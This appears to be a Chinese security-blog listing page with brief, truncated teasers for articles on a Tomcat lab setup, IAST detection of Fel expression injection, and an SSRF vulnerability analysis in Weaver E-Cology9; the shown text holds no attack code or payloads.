环境部署首先启动一个tomcat的环境先把这里的代码跑起来,访问tomcat在docker中的tomcat/conf中可以看到账号密码将JSP打包为war包 jar -cvf 1.war 1.jsp 随后上传就部署好了 静态代码分析大...

洞态IAST检测优化:Fel表达式注入

洞态IAST检测优化:Fel表达式注入

一、简介 Fel是开放的,引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数),所有这些函数都是可以替换的,扩展函数也非常简单。 Fel有双引擎,同时支持解释执行和编译执行。可以根据...

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

漏洞描述泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileV...